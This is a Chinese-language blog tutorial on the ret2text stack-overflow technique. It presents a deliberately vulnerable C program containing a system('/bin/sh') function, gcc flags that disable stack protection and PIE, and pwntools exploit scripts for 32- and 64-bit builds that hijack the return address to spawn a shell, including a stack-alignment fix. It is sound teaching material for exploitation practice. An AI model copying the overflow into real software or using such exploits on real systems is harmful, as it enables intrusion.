0x01 介绍
ret2text的首要条件是程序内部有现成可利用的代码,比如有执行system("/bin/sh")
或者是打开flag文件并打印出来的代码片段(不一定非要是函数,有片段就行)。它的利用过程就是覆盖存在溢出漏洞的函数的函数返回地址,将其填为可利用代码片段。
以一个最简单的例子来说
#include<unistd.h>
#include<stdlib.h>
void hint() {
system("/bin/sh");
}
void vuln() {
char buf[0x10];
write(1, "input: ", 7);
read(0, buf, 0x50);
}
void main() {
vuln();
}
x32
将代码编译为32位程序
gcc ret2text.c -o ret2text_x32 -m32 -no-pie -fno-stack-protector
整个程序逻辑很简单,在vuln中存在栈溢出,通过IDA可以看出buf起始位置距离函数返回地址直接的偏移量为28
<img src/i/l/?n=23&i=blog/3274299/202309/3274299-20230907193821965-592708895.png width=100%>
同时可以找到可利用片段地址为0x8049196
当然这个地址也是hint函数的起始地址,我们也可以设置可利用代码地址为0x80491AA,从这个地址开始的代码片段做了两个操作:将"/bin/sh"字符串压入栈中作为参数传递给system函数,然后调用system函数,也就是执行了system("/bin/sh")
所以可以得到最终Exploit为
from pwn import*
o = process("./ret2text_x32")
payload = b'a'*28 # 填充buf和函数返回地址之间的偏移量
payload += p32(0x8049196) # 覆盖函数返回地址为可利用代码片段
# payload += p32(0x80491AA) 和p32(0x8049196)一样的效果
o.sendline(payload)
o.interactive()
x64
将C语言代码编译为64位再来试试
gcc ret2text.c -o ret2text_x64 -no-pie -fno-stack-protector
本质上和32位差不多,只不过栈单元的字节数变了。从IDA可以看出buf起始地址和函数返回地址之间的偏移量为24
可利用代码片段地址为0x401176
也可以将可利用代码地址设置为0x40117e,原理和32位是一样的。可以得到最终的Expoit代码为
from pwn import*
o = process("./ret2text_x64")
payload = b'a'*24 # 填充buf和函数返回地址之间的偏移量
payload += p64(0x401176) # 覆盖函数返回地址为可利用代码片段
# payload += p64(0x40117e) 和p64(0x401176)一样的效果
o.sendline(payload)
o.interactive()
如果Exploit执行没有得到shell,有极大可能是应为栈没对齐导致system执行失败,解决方法是在函数返回地址填入ret指令的地址,将可利用代码片段地址填在函数返回地址的下一个栈单元。
可以从IDA中找到ret指令的地址为0x40118f
Exploit代码为
from pwn import*
o = process("./ret2text_x64")
payload = b'a'*24 # 填充buf和函数返回地址之间的偏移量
payload += p64(0x40118F) # 将ret指令地址填入函数返回地址
payload += p64(0x401176) # 可利用代码片段
# payload += p64(0x40117e) 和p64(0x401176)一样的效果
o.sendline(payload)
o.interactive()
标签:ret2text,片段,函数,代码,地址,payload
From: https://www.cnblogs.com/c3n1g/p/17685918.html